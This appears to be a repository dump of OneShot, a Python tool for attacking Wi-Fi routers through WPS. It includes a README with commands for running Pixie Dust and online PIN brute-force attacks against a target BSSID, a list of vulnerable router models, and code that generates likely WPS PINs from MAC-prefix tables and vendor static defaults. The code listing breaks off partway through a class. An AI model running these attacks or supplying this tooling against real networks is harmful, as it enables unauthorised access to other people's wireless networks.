├── .flake8 ├── .gitignore ├── vulnwsc.txt ├── README.md └── oneshot.py /.flake8: -------------------------------------------------------------------------------- 1 | [flake8] 2 | max-line-length = 120 3 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | __pycache__/ 2 | *.py[cod] 3 | *$py.class 4 | 5 | reports/ 6 | 7 | -------------------------------------------------------------------------------- /vulnwsc.txt: -------------------------------------------------------------------------------- 1 | ADSL Router EV-2006-07-27 2 | ADSL RT2860 3 | AIR3G WSC Wireless Access Point AIR3G WSC Device 4 | AirLive Wireless Gigabit AP AirLive Wireless Gigabit AP 5 | Archer_A9 1.0 6 | ArcherC20i 1.0 7 | Archer A2 5.0 8 | Archer A5 4.0 9 | Archer C2 1.0 10 | Archer C2 3.0 11 | Archer C5 4.0 12 | Archer C6 3.20 13 | Archer C6U 1.0.0 14 | Archer C20 1.0 15 | Archer C20 4.0 16 | Archer C20 5.0 17 | Archer C50 1.0 18 | Archer C50 3.0 19 | Archer C50 4.0 20 | Archer C50 5.0 21 | Archer C50 6.0 22 | Archer MR200 1.0 23 | Archer MR200 4.0 24 | Archer MR400 4.2 25 | Archer MR200 5.0 26 | Archer VR300 1.20 27 | Archer VR400 3.0 28 | Archer VR2100 1.0 29 | B-LINK 123456 30 | Belkin AP EV-2012-09-01 31 | DAP-1360 DAP-1360 32 | DIR-635 B3 33 | DIR-819 v1.0.1 34 | DIR-842 DIR-842 35 | DWR-921C3 WBR-0001 36 | D-Link N Router GO-RT-N150 37 | D-Link Router DIR-605L 38 | D-Link Router DIR-615H1 39 | D-Link Router DIR-655 40 | D-Link Router DIR-809 41 | D-Link Router GO-RT-N150 42 | Edimax Edimax 43 | EC120-F5 1.0 44 | EC220-G5 2.0 45 | EV-2009-02-06 46 | Enhanced Wireless Router F6D4230-4 v1 47 | GPON ONT GPON ONT 48 | GN256VH GN256VH 49 | Home Internet Center KEENETIC series 50 | Home Internet Center Keenetic series 51 | Huawei Wireless Access Point RT2860 52 | JWNR2000v2(Wireless AP) JWNR2000v2 53 | Keenetic Keenetic series 54 | Linksys Wireless Access Point EA7500 55 | Linksys Wireless Router WRT110 56 | NBG-419N NBG-419N 57 | Netgear AP EV-2012-08-04 58 | NETGEAR Wireless Access Point NETGEAR 59 | NETGEAR Wireless Access Point R6220 60 | NETGEAR Wireless Access Point R6260 61 | N/A EV-2010-09-20 62 | Ralink Wireless Access Point RT2860 63 | Ralink Wireless Access Point WR-AC1210 64 | RTL8196E 65 | RTL8xxx EV-2009-02-06 66 | RTL8xxx EV-2010-09-20 67 | RTL8xxx RTK_ECOS 68 | RT-G32 1234 69 | Sitecom Wireless Router 300N X2 300N 70 | Smart Router R3 RT2860 71 | Tenda 123456 72 | Timo RA300R4 Timo RA300R4 73 | TD-W8151N RT2860 74 | TD-W8901N RT2860 75 | TD-W8951ND RT2860 76 | TD-W9960 1.0 77 | TD-W9960 1.20 78 | TD-W9960v 1.0 79 | TD-W8968 2.0 80 | TEW-731BR TEW-731BR 81 | TL-MR100 1.0 82 | TL-MR3020 3.0 83 | TL-MR3420 5.0 84 | TL-MR6400 3.0 85 | TL-MR6400 4.0 86 | TL-WA855RE 4.0 87 | TL-WR840N 4.0 88 | TL-WR840N 5.0 89 | TL-WR840N 6.0 90 | TL-WR841N 13.0 91 | TL-WR841N 14.0 92 | TL-WR841HP 5.0 93 | TL-WR842N 5.0 94 | TL-WR845N 3.0 95 | TL-WR845N 4.0 96 | TL-WR850N 1.0 97 | TL-WR850N 2.0 98 | TL-WR850N 3.0 99 | TL-WR1042N EV-2010-09-20 100 | Trendnet router TEW-625br 101 | Trendnet router TEW-651br 102 | VN020-F3 1.0 103 | VMG3312-T20A RT2860 104 | VMG8623-T50A RT2860 105 | WAP300N WAP300N 106 | WAP3205 WAP3205 107 | Wi-Fi Protected Setup Router RT-AC1200G+ 108 | Wi-Fi Protected Setup Router RT-AX55 109 | Wi-Fi Protected Setup Router RT-N10U 110 | Wi-Fi Protected Setup Router RT-N12 111 | Wi-Fi Protected Setup Router RT-N12D1 112 | Wi-Fi Protected Setup Router RT-N12VP 113 | Wireless Access Point . 114 | Wireless Router 123456 115 | Wireless Router RTL8xxx EV-2009-02-06 116 | Wireless Router Wireless Router 117 | Wireless WPS Router <#ZVMODELVZ#> 118 | Wireless WPS Router RT-N10E 119 | Wireless WPS Router RT-N10LX 120 | Wireless WPS Router RT-N12E 121 | Wireless WPS Router RT-N12LX 122 | WN3000RP V3 123 | WN-200R WN-200R 124 | WPS Router (5G) RT-N65U 125 | WPS Router DSL-AC51 126 | WPS Router DSL-AC52U 127 | WPS Router DSL-AC55U 128 | WPS Router DSL-N14U-B1 129 | WPS Router DSL-N16 130 | WPS Router DSL-N17U 131 | WPS Router RT-AC750 132 | WPS Router RT-AC1200 133 | WPS Router RT-AC1200_V2 134 | WPS Router RT-AC1750 135 | WPS Router RT-AC750L 136 | WPS Router RT-AC1750U 137 | WPS Router RT-AC51 138 | WPS Router RT-AC51U 139 | WPS Router RT-AC52U 140 | WPS Router RT-AC52U_B1 141 | WPS Router RT-AC53 142 | WPS Router RT-AC57U 143 | WPS Router RT-AC65P 144 | WPS Router RT-AC85P 145 | WPS Router RT-N11P 146 | WPS Router RT-N12E 147 | WPS Router RT-N12E_B1 148 | WPS Router RT-N12 VP 149 | WPS Router RT-N12+ 150 | WPS Router RT-N14U 151 | WPS Router RT-N56U 152 | WPS Router RT-N56UB1 153 | WPS Router RT-N65U 154 | WPS Router RT-N300 155 | WR5570 2011-05-13 156 | XC220-G3v 1.0 157 | ZyXEL NBG-416N AP Router 158 | ZyXEL NBG-416N AP Router NBG-416N 159 | ZyXEL NBG-418N AP Router 160 | ZyXEL NBG-418N AP Router NBG-418N 161 | ZyXEL Wireless AP Router NBG-417N 162 | Modem/Router EV-2010-09-20 163 | RB06 RT2860 164 | RB03 RT2860 165 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 2 | # Overview 3 | **OneShot** performs [Pixie Dust attack](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-Offline-WPS-Attack) without having to switch to monitor mode. 4 | # Features 5 | - [Pixie Dust attack](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-Offline-WPS-Attack); 6 | - integrated [3WiFi offline WPS PIN generator](https://3wifi.stascorp.com/wpspin); 7 | - [online WPS bruteforce](https://sviehb.files.wordpress.com/2011/12/viehboeck_wps.pdf); 8 | - Wi-Fi scanner with highlighting based on iw; 9 | # Requirements 10 | - Python 3.6 and above; 11 | - [Wpa supplicant](https://www.w1.fi/wpa_supplicant/); 12 | - [Pixiewps](https://github.com/wiire-a/pixiewps); 13 | - [iw](https://wireless.wiki.kernel.org/en/users/documentation/iw). 14 | # Setup 15 | ## Debian/Ubuntu 16 | **Installing requirements** 17 | ``` 18 | sudo apt install -y python3 wpasupplicant iw wget 19 | ``` 20 | **Installing Pixiewps** 21 | 22 | ***Ubuntu 18.04 and above or Debian 10 and above*** 23 | ``` 24 | sudo apt install -y pixiewps 25 | ``` 26 | 27 | ***Other versions*** 28 | ``` 29 | sudo apt install -y build-essential unzip 30 | wget https://github.com/wiire-a/pixiewps/archive/master.zip && unzip master.zip 31 | cd pixiewps*/ 32 | make 33 | sudo make install 34 | ``` 35 | **Getting OneShot** 36 | ``` 37 | cd ~ 38 | wget https://raw.githubusercontent.com/drygdryg/OneShot/master/oneshot.py 39 | ``` 40 | Optional: getting a list of vulnerable to pixie dust devices for highlighting in scan results: 41 | ``` 42 | wget https://raw.githubusercontent.com/drygdryg/OneShot/master/vulnwsc.txt 43 | ``` 44 | ## Arch Linux 45 | **Installing requirements** 46 | ``` 47 | sudo pacman -S wpa_supplicant pixiewps wget python 48 | ``` 49 | **Getting OneShot** 50 | ``` 51 | wget https://raw.githubusercontent.com/drygdryg/OneShot/master/oneshot.py 52 | ``` 53 | Optional: getting a list of vulnerable to pixie dust devices for highlighting in scan results: 54 | ``` 55 | wget https://raw.githubusercontent.com/drygdryg/OneShot/master/vulnwsc.txt 56 | ``` 57 | ## Alpine Linux 58 | It can also be used to run on Android devices using [Linux Deploy](https://play.google.com/store/apps/details?id=ru.meefik.linuxdeploy) 59 | 60 | **Installing requirements** 61 | Adding the testing repository: 62 | ``` 63 | sudo sh -c 'echo "http://dl-cdn.alpinelinux.org/alpine/edge/testing/" >> /etc/apk/repositories' 64 | ``` 65 | ``` 66 | sudo apk add python3 wpa_supplicant pixiewps iw 67 | ``` 68 | **Getting OneShot** 69 | ``` 70 | sudo wget https://raw.githubusercontent.com/drygdryg/OneShot/master/oneshot.py 71 | ``` 72 | Optional: getting a list of vulnerable to pixie dust devices for highlighting in scan results: 73 | ``` 74 | sudo wget https://raw.githubusercontent.com/drygdryg/OneShot/master/vulnwsc.txt 75 | ``` 76 | ## [Termux](https://termux.com/) 77 | Please note that root access is required. 78 | 79 | #### Using installer 80 | ``` 81 | curl -sSf https://raw.githubusercontent.com/drygdryg/OneShot_Termux_installer/master/installer.sh | bash 82 | ``` 83 | #### Manually 84 | **Installing requirements** 85 | ``` 86 | pkg install -y root-repo 87 | pkg install -y git tsu python wpa-supplicant pixiewps iw openssl 88 | ``` 89 | **Getting OneShot** 90 | ``` 91 | git clone --depth 1 https://github.com/drygdryg/OneShot OneShot 92 | ``` 93 | #### Running 94 | ``` 95 | sudo python OneShot/oneshot.py -i wlan0 --iface-down -K 96 | ``` 97 | 98 | # Usage 99 | ``` 100 | oneshot.py 101 | Required arguments: 102 | -i, --interface= : Name of the interface to use 103 | 104 | Optional arguments: 105 | -b, --bssid= : BSSID of the target AP 106 | -p, --pin= : Use the specified pin (arbitrary string or 4/8 digit pin) 107 | -K, --pixie-dust : Run Pixie Dust attack 108 | -B, --bruteforce : Run online bruteforce attack 109 | --push-button-connect : Run WPS push button connection 110 | 111 | Advanced arguments: 112 | -d, --delay= : Set the delay between pin attempts [0] 113 | -w, --write : Write AP credentials to the file on success 114 | -F, --pixie-force : Run Pixiewps with --force option (bruteforce full range) 115 | -X, --show-pixie-cmd : Alway print Pixiewps command 116 | --vuln-list= : Use custom file with vulnerable devices list ['vulnwsc.txt'] 117 | --iface-down : Down network interface when the work is finished 118 | -l, --loop : Run in a loop 119 | -r, --reverse-scan : Reverse order of networks in the list of networks. Useful on small displays 120 | --mtk-wifi : Activate MediaTek Wi-Fi interface driver on startup and deactivate it on exit 121 | (for internal Wi-Fi adapters implemented in MediaTek SoCs). Turn off Wi-Fi in the system settings before using this. 122 | -v, --verbose : Verbose output 123 | ``` 124 | 125 | ## Usage examples 126 | Start Pixie Dust attack on a specified BSSID: 127 | ``` 128 | sudo python3 oneshot.py -i wlan0 -b 00:90:4C:C1:AC:21 -K 129 | ``` 130 | Show avaliable networks and start Pixie Dust attack on a specified network: 131 | ``` 132 | sudo python3 oneshot.py -i wlan0 -K 133 | ``` 134 | Launch online WPS bruteforce with the specified first half of the PIN: 135 | ``` 136 | sudo python3 oneshot.py -i wlan0 -b 00:90:4C:C1:AC:21 -B -p 1234 137 | ``` 138 | Start WPS push button connection:s 139 | ``` 140 | sudo python3 oneshot.py -i wlan0 --pbc 141 | ``` 142 | ## Troubleshooting 143 | #### "RTNETLINK answers: Operation not possible due to RF-kill" 144 | Just run: 145 | ```sudo rfkill unblock wifi``` 146 | #### "Device or resource busy (-16)" 147 | Try disabling Wi-Fi in the system settings and kill the Network manager. Alternatively, you can try running OneShot with ```--iface-down``` argument. 148 | #### The wlan0 interface disappears when Wi-Fi is disabled on Android devices with MediaTek SoC 149 | Try running OneShot with the `--mtk-wifi` flag to initialize Wi-Fi device driver. 150 | # Acknowledgements 151 | ## Special Thanks 152 | * `rofl0r` for initial implementation; 153 | * `Monohrom` for testing, help in catching bugs, some ideas; 154 | * `Wiire` for developing Pixiewps. 155 | -------------------------------------------------------------------------------- /oneshot.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | import sys 4 | import subprocess 5 | import os 6 | import tempfile 7 | import shutil 8 | import re 9 | import codecs 10 | import socket 11 | import pathlib 12 | import time 13 | from datetime import datetime 14 | import collections 15 | import statistics 16 | import csv 17 | from pathlib import Path 18 | from typing import Dict 19 | import wcwidth 20 | 21 | 22 | class NetworkAddress: 23 | def __init__(self, mac): 24 | if isinstance(mac, int): 25 | self._int_repr = mac 26 | self._str_repr = self._int2mac(mac) 27 | elif isinstance(mac, str): 28 | self._str_repr = mac.replace('-', ':').replace('.', ':').upper() 29 | self._int_repr = self._mac2int(mac) 30 | else: 31 | raise ValueError('MAC address must be string or integer') 32 | 33 | @property 34 | def string(self): 35 | return self._str_repr 36 | 37 | @string.setter 38 | def string(self, value): 39 | self._str_repr = value 40 | self._int_repr = self._mac2int(value) 41 | 42 | @property 43 | def integer(self): 44 | return self._int_repr 45 | 46 | @integer.setter 47 | def integer(self, value): 48 | self._int_repr = value 49 | self._str_repr = self._int2mac(value) 50 | 51 | def __int__(self): 52 | return self.integer 53 | 54 | def __str__(self): 55 | return self.string 56 | 57 | def __iadd__(self, other): 58 | self.integer += other 59 | 60 | def __isub__(self, other): 61 | self.integer -= other 62 | 63 | def __eq__(self, other): 64 | return self.integer == other.integer 65 | 66 | def __ne__(self, other): 67 | return self.integer != other.integer 68 | 69 | def __lt__(self, other): 70 | return self.integer < other.integer 71 | 72 | def __gt__(self, other): 73 | return self.integer > other.integer 74 | 75 | @staticmethod 76 | def _mac2int(mac): 77 | return int(mac.replace(':', ''), 16) 78 | 79 | @staticmethod 80 | def _int2mac(mac): 81 | mac = hex(mac).split('x')[-1].upper() 82 | mac = mac.zfill(12) 83 | mac = ':'.join(mac[i:i+2] for i in range(0, 12, 2)) 84 | return mac 85 | 86 | def __repr__(self): 87 | return 'NetworkAddress(string={}, integer={})'.format( 88 | self._str_repr, self._int_repr) 89 | 90 | 91 | class WPSpin: 92 | """WPS pin generator""" 93 | def __init__(self): 94 | self.ALGO_MAC = 0 95 | self.ALGO_EMPTY = 1 96 | self.ALGO_STATIC = 2 97 | 98 | self.algos = {'pin24': {'name': '24-bit PIN', 'mode': self.ALGO_MAC, 'gen': self.pin24}, 99 | 'pin28': {'name': '28-bit PIN', 'mode': self.ALGO_MAC, 'gen': self.pin28}, 100 | 'pin32': {'name': '32-bit PIN', 'mode': self.ALGO_MAC, 'gen': self.pin32}, 101 | 'pinDLink': {'name': 'D-Link PIN', 'mode': self.ALGO_MAC, 'gen': self.pinDLink}, 102 | 'pinDLink1': {'name': 'D-Link PIN +1', 'mode': self.ALGO_MAC, 'gen': self.pinDLink1}, 103 | 'pinASUS': {'name': 'ASUS PIN', 'mode': self.ALGO_MAC, 'gen': self.pinASUS}, 104 | 'pinAirocon': {'name': 'Airocon Realtek', 'mode': self.ALGO_MAC, 'gen': self.pinAirocon}, 105 | # Static pin algos 106 | 'pinEmpty': {'name': 'Empty PIN', 'mode': self.ALGO_EMPTY, 'gen': lambda mac: ''}, 107 | 'pinCisco': {'name': 'Cisco', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 1234567}, 108 | 'pinBrcm1': {'name': 'Broadcom 1', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 2017252}, 109 | 'pinBrcm2': {'name': 'Broadcom 2', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 4626484}, 110 | 'pinBrcm3': {'name': 'Broadcom 3', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 7622990}, 111 | 'pinBrcm4': {'name': 'Broadcom 4', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 6232714}, 112 | 'pinBrcm5': {'name': 'Broadcom 5', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 1086411}, 113 | 'pinBrcm6': {'name': 'Broadcom 6', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 3195719}, 114 | 'pinAirc1': {'name': 'Airocon 1', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 3043203}, 115 | 'pinAirc2': {'name': 'Airocon 2', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 7141225}, 116 | 'pinDSL2740R': {'name': 'DSL-2740R', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 6817554}, 117 | 'pinRealtek1': {'name': 'Realtek 1', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 9566146}, 118 | 'pinRealtek2': {'name': 'Realtek 2', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 9571911}, 119 | 'pinRealtek3': {'name': 'Realtek 3', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 4856371}, 120 | 'pinUpvel': {'name': 'Upvel', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 2085483}, 121 | 'pinUR814AC': {'name': 'UR-814AC', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 4397768}, 122 | 'pinUR825AC': {'name': 'UR-825AC', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 529417}, 123 | 'pinOnlime': {'name': 'Onlime', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 9995604}, 124 | 'pinEdimax': {'name': 'Edimax', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 3561153}, 125 | 'pinThomson': {'name': 'Thomson', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 6795814}, 126 | 'pinHG532x': {'name': 'HG532x', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 3425928}, 127 | 'pinH108L': {'name': 'H108L', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 9422988}, 128 | 'pinONO': {'name': 'CBN ONO', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 9575521}} 129 | 130 | @staticmethod 131 | def checksum(pin): 132 | """ 133 | Standard WPS checksum algorithm. 134 | @pin — A 7 digit pin to calculate the checksum for. 135 | Returns the checksum value. 136 | """ 137 | accum = 0 138 | while pin: 139 | accum += (3 * (pin % 10)) 140 | pin = int(pin / 10) 141 | accum += (pin % 10) 142 | pin = int(pin / 10) 143 | return (10 - accum % 10) % 10 144 | 145 | def generate(self, algo, mac): 146 | """ 147 | WPS pin generator 148 | @algo — the WPS pin algorithm ID 149 | Returns the WPS pin string value 150 | """ 151 | mac = NetworkAddress(mac) 152 | if algo not in self.algos: 153 | raise ValueError('Invalid WPS pin algorithm') 154 | pin = self.algos[algo]['gen'](mac) 155 | if algo == 'pinEmpty': 156 | return pin 157 | pin = pin % 10000000 158 | pin = str(pin) + str(self.checksum(pin)) 159 | return pin.zfill(8) 160 | 161 | def getAll(self, mac, get_static=True): 162 | """ 163 | Get all WPS pin's for single MAC 164 | """ 165 | res = [] 166 | for ID, algo in self.algos.items(): 167 | if algo['mode'] == self.ALGO_STATIC and not get_static: 168 | continue 169 | item = {} 170 | item['id'] = ID 171 | if algo['mode'] == self.ALGO_STATIC: 172 | item['name'] = 'Static PIN — ' + algo['name'] 173 | else: 174 | item['name'] = algo['name'] 175 | item['pin'] = self.generate(ID, mac) 176 | res.append(item) 177 | return res 178 | 179 | def getList(self, mac, get_static=True): 180 | """ 181 | Get all WPS pin's for single MAC as list 182 | """ 183 | res = [] 184 | for ID, algo in self.algos.items(): 185 | if algo['mode'] == self.ALGO_STATIC and not get_static: 186 | continue 187 | res.append(self.generate(ID, mac)) 188 | return res 189 | 190 | def getSuggested(self, mac): 191 | """ 192 | Get all suggested WPS pin's for single MAC 193 | """ 194 | algos = self._suggest(mac) 195 | res = [] 196 | for ID in algos: 197 | algo = self.algos[ID] 198 | item = {} 199 | item['id'] = ID 200 | if algo['mode'] == self.ALGO_STATIC: 201 | item['name'] = 'Static PIN — ' + algo['name'] 202 | else: 203 | item['name'] = algo['name'] 204 | item['pin'] = self.generate(ID, mac) 205 | res.append(item) 206 | return res 207 | 208 | def getSuggestedList(self, mac): 209 | """ 210 | Get all suggested WPS pin's for single MAC as list 211 | """ 212 | algos = self._suggest(mac) 213 | res = [] 214 | for algo in algos: 215 | res.append(self.generate(algo, mac)) 216 | return res 217 | 218 | def getLikely(self, mac): 219 | res = self.getSuggestedList(mac) 220 | if res: 221 | return res[0] 222 | else: 223 | return None 224 | 225 | def _suggest(self, mac): 226 | """ 227 | Get algos suggestions for single MAC 228 | Returns the algo ID 229 | """ 230 | mac = mac.replace(':', '').upper() 231 | algorithms = { 232 | 'pin24': ('04BF6D', '0E5D4E', '107BEF', '14A9E3', '28285D', '2A285D', '32B2DC', '381766', '404A03', '4E5D4E', '5067F0', '5CF4AB', '6A285D', '8E5D4E', 'AA285D', 'B0B2DC', 'C86C87', 'CC5D4E', 'CE5D4E', 'EA285D', 'E243F6', 'EC43F6', 'EE43F6', 'F2B2DC', 'FCF528', 'FEF528', '4C9EFF', '0014D1', 'D8EB97', '1C7EE5', '84C9B2', 'FC7516', '14D64D', '9094E4', 'BCF685', 'C4A81D', '00664B', '087A4C', '14B968', '2008ED', '346BD3', '4CEDDE', '786A89', '88E3AB', 'D46E5C', 'E8CD2D', 'EC233D', 'ECCB30', 'F49FF3', '20CF30', '90E6BA', 'E0CB4E', 'D4BF7F4', 'F8C091', '001CDF', '002275', '08863B', '00B00C', '081075', 'C83A35', '0022F7', '001F1F', '00265B', '68B6CF', '788DF7', 'BC1401', '202BC1', '308730', '5C4CA9', '62233D', '623CE4', '623DFF', '6253D4', '62559C', '626BD3', '627D5E', '6296BF', '62A8E4', '62B686', '62C06F', '62C61F', '62C714', '62CBA8', '62CDBE', '62E87B', '6416F0', '6A1D67', '6A233D', '6A3DFF', '6A53D4', '6A559C', '6A6BD3', '6A96BF', '6A7D5E', '6AA8E4', '6AC06F', '6AC61F', '6AC714', '6ACBA8', '6ACDBE', '6AD15E', '6AD167', '721D67', '72233D', '723CE4', '723DFF', '7253D4', '72559C', '726BD3', '727D5E', '7296BF', '72A8E4', '72C06F', '72C61F', '72C714', '72CBA8', '72CDBE', '72D15E', '72E87B', '0026CE', '9897D1', 'E04136', 'B246FC', 'E24136', '00E020', '5CA39D', 'D86CE9', 'DC7144', '801F02', 'E47CF9', '000CF6', '00A026', 'A0F3C1', '647002', 'B0487A', 'F81A67', 'F8D111', '34BA9A', 'B4944E'), 233 | 'pin28': ('200BC7', '4846FB', 'D46AA8', 'F84ABF'), 234 | 'pin32': ('000726', 'D8FEE3', 'FC8B97', '1062EB', '1C5F2B', '48EE0C', '802689', '908D78', 'E8CC18', '2CAB25', '10BF48', '14DAE9', '3085A9', '50465D', '5404A6', 'C86000', 'F46D04', '3085A9', '801F02'), 235 | 'pinDLink': ('14D64D', '1C7EE5', '28107B', '84C9B2', 'A0AB1B', 'B8A386', 'C0A0BB', 'CCB255', 'FC7516', '0014D1', 'D8EB97'), 236 | 'pinDLink1': ('0018E7', '00195B', '001CF0', '001E58', '002191', '0022B0', '002401', '00265A', '14D64D', '1C7EE5', '340804', '5CD998', '84C9B2', 'B8A386', 'C8BE19', 'C8D3A3', 'CCB255', '0014D1'), 237 | 'pinASUS': ('049226', '04D9F5', '08606E', '0862669', '107B44', '10BF48', '10C37B', '14DDA9', '1C872C', '1CB72C', '2C56DC', '2CFDA1', '305A3A', '382C4A', '38D547', '40167E', '50465D', '54A050', '6045CB', '60A44C', '704D7B', '74D02B', '7824AF', '88D7F6', '9C5C8E', 'AC220B', 'AC9E17', 'B06EBF', 'BCEE7B', 'C860007', 'D017C2', 'D850E6', 'E03F49', 'F0795978', 'F832E4', '00072624', '0008A1D3', '00177C', '001EA6', '00304FB', '00E04C0', '048D38', '081077', '081078', '081079', '083E5D', '10FEED3C', '181E78', '1C4419', '2420C7', '247F20', '2CAB25', '3085A98C', '3C1E04', '40F201', '44E9DD', '48EE0C', '5464D9', '54B80A', '587BE906', '60D1AA21', '64517E', '64D954', '6C198F', '6C7220', '6CFDB9', '78D99FD', '7C2664', '803F5DF6', '84A423', '88A6C6', '8C10D4', '8C882B00', '904D4A', '907282', '90F65290', '94FBB2', 'A01B29', 'A0F3C1E', 'A8F7E00', 'ACA213', 'B85510', 'B8EE0E', 'BC3400', 'BC9680', 'C891F9', 'D00ED90', 'D084B0', 'D8FEE3', 'E4BEED', 'E894F6F6', 'EC1A5971', 'EC4C4D', 'F42853', 'F43E61', 'F46BEF', 'F8AB05', 'FC8B97', '7062B8', '78542E', 'C0A0BB8C', 'C412F5', 'C4A81D', 'E8CC18', 'EC2280', 'F8E903F4'), 238 | 'pinAirocon': ('0007262F', '000B2B4A', '000EF4E7', '001333B', '00177C', '001AEF', '00E04BB3', '02101801', '0810734', '08107710', '1013EE0', '2CAB25C7', '788C54', '803F5DF6', '94FBB2', 'BC9680', 'F43E61', 'FC8B97'), 239 | 'pinEmpty': ('E46F13', 'EC2280', '58D56E', '1062EB', '10BEF5', '1C5F2B', '802689', 'A0AB1B', '74DADA', '9CD643', '68A0F6', '0C96BF', '20F3A3', 'ACE215', 'C8D15E', '000E8F', 'D42122', '3C9872', '788102', '7894B4', 'D460E3', 'E06066', '004A77', '2C957F', '64136C', '74A78E', '88D274', '702E22', '74B57E', '789682', '7C3953', '8C68C8', 'D476EA', '344DEA', '38D82F', '54BE53', '709F2D', '94A7B7', '981333', 'CAA366', 'D0608C'), 240 | 'pinCisco': ('001A2B', '00248C', '002618', '344DEB', '7071BC', 'E06995', 'E0CB4E', '7054F5'), 241 | 'pinBrcm1': ('ACF1DF', 'BCF685', 'C8D3A3', '988B5D', '001AA9', '14144B', 'EC6264'), 242 | 'pinBrcm2': ('14D64D', '1C7EE5', '28107B', '84C9B2', 'B8A386', 'BCF685', 'C8BE19'), 243 | 'pinBrcm3': ('14D64D', '1C7EE5', '28107B', 'B8A386', 'BCF685', 'C8BE19', '7C034C'), 244 | 'pinBrcm4': ('14D64D', '1C7EE5', '28107B', '84C9B2', 'B8A386', 'BCF685', 'C8BE19', 'C8D3A3', 'CCB255', 'FC7516', '204E7F', '4C17EB', '18622C', '7C03D8', 'D86CE9'), 245 | 'pinBrcm5': ('14D64D', '1C7EE5', '28107B', '84C9B2', 'B8A386', 'BCF685', 'C8BE19', 'C8D3A3', 'CCB255', 'FC7516', '204E7F', '4C17EB', '18622C', '7C03D8', 'D86CE9'), 246 | 'pinBrcm6': ('14D64D', '1C7EE5', '28107B', '84C9B2', 'B8A386', 'BCF685', 'C8BE19', 'C8D3A3', 'CCB255', 'FC7516', '204E7F', '4C17EB', '18622C', '7C03D8', 'D86CE9'), 247 | 'pinAirc1': ('181E78', '40F201', '44E9DD', 'D084B0'), 248 | 'pinAirc2': ('84A423', '8C10D4', '88A6C6'), 249 | 'pinDSL2740R': ('00265A', '1CBDB9', '340804', '5CD998', '84C9B2', 'FC7516'), 250 | 'pinRealtek1': ('0014D1', '000C42', '000EE8'), 251 | 'pinRealtek2': ('007263', 'E4BEED'), 252 | 'pinRealtek3': ('08C6B3',), 253 | 'pinUpvel': ('784476', 'D4BF7F0', 'F8C091'), 254 | 'pinUR814AC': ('D4BF7F60',), 255 | 'pinUR825AC': ('D4BF7F5',), 256 | 'pinOnlime': ('D4BF7F', 'F8C091', '144D67', '784476', '0014D1'), 257 | 'pinEdimax': ('801F02', '00E04C'), 258 | 'pinThomson': ('002624', '4432C8', '88F7C7', 'CC03FA'), 259 | 'pinHG532x': ('00664B', '086361', '087A4C', '0C96BF', '14B968', '2008ED', '2469A5', '346BD3', '786A89', '88E3AB', '9CC172', 'ACE215', 'D07AB5', 'CCA223', 'E8CD2D', 'F80113', 'F83DFF'), 260 | 'pinH108L': ('4C09B4', '4CAC0A', '84742A4', '9CD24B', 'B075D5', 'C864C7', 'DC028E', 'FCC897'), 261 | 'pinONO': ('5C353B', 'DC537C') 262 | } 263 | res = [] 264 | for algo_id, masks in algorithms.items(): 265 | if mac.startswith(masks): 266 | res.append(algo_id) 267 | return res 268 | 269 | def pin24(self, mac): 270 | return mac.integer & 0xFFFFFF 271 | 272 | def pin28(self, mac): 273 | return mac.integer & 0xFFFFFFF 274 | 275 | def pin32(self, mac): 276 | return mac.integer % 0x100000000 277 | 278 | def pinDLink(self, mac): 279 | # Get the NIC part 280 | nic = mac.integer & 0xFFFFFF 281 | # Calculating pin 282 | pin = nic ^ 0x55AA55 283 | pin ^= (((pin & 0xF) << 4) + 284 | ((pin & 0xF) << 8) + 285 | ((pin & 0xF) << 12) + 286 | ((pin & 0xF) << 16) + 287 | ((pin & 0xF) << 20)) 288 | pin %= int(10e6) 289 | if pin < int(10e5): 290 | pin += ((pin % 9) * int(10e5)) + int(10e5) 291 | return pin 292 | 293 | def pinDLink1(self, mac): 294 | mac.integer += 1 295 | return self.pinDLink(mac) 296 | 297 | def pinASUS(self, mac): 298 | b = [int(i, 16) for i in mac.string.split(':')] 299 | pin = '' 300 | for i in range(7): 301 | pin += str((b[i % 6] + b[5]) % (10 - (i + b[1] + b[2] + b[3] + b[4] + b[5]) % 7)) 302 | return int(pin) 303 | 304 | def pinAirocon(self, mac): 305 | b = [int(i, 16) for i in mac.string.split(':')] 306 | pin = ((b[0] + b[1]) % 10)\ 307 | + (((b[5] + b[0]) % 10) * 10)\ 308 | + (((b[4] + b[5]) % 10) * 100)\ 309 | + (((b[3] + b[4]) % 10) * 1000)\ 310 | + (((b[2] + b[3]) % 10) * 10000)\ 311 | + (((b[1] + b[2]) % 10) * 100000)\ 312 | + (((b[0] + b[1]) % 10) * 1000000) 313 | return pin 314 | 315 | 316 | def recvuntil(pipe, what): 317 | s = '' 318 | while True: 319 | inp = pipe.stdout.read(1) 320 | if inp == '': 321 | return s 322 | s += inp 323 | if what in s: 324 | return s 325 | 326 | 327 | def get_hex(line): 328 | a = line.split(':', 3) 329 | return a[2].replace(' ', '').upper() 330 | 331 | 332 | class PixiewpsData: 333 | def __init__(self): 334 | self.pke = '' 335 | self.pkr = '' 336 | self.e_hash1 = '' 337 | self.e_hash2 = '' 338 | self.authkey = '' 339 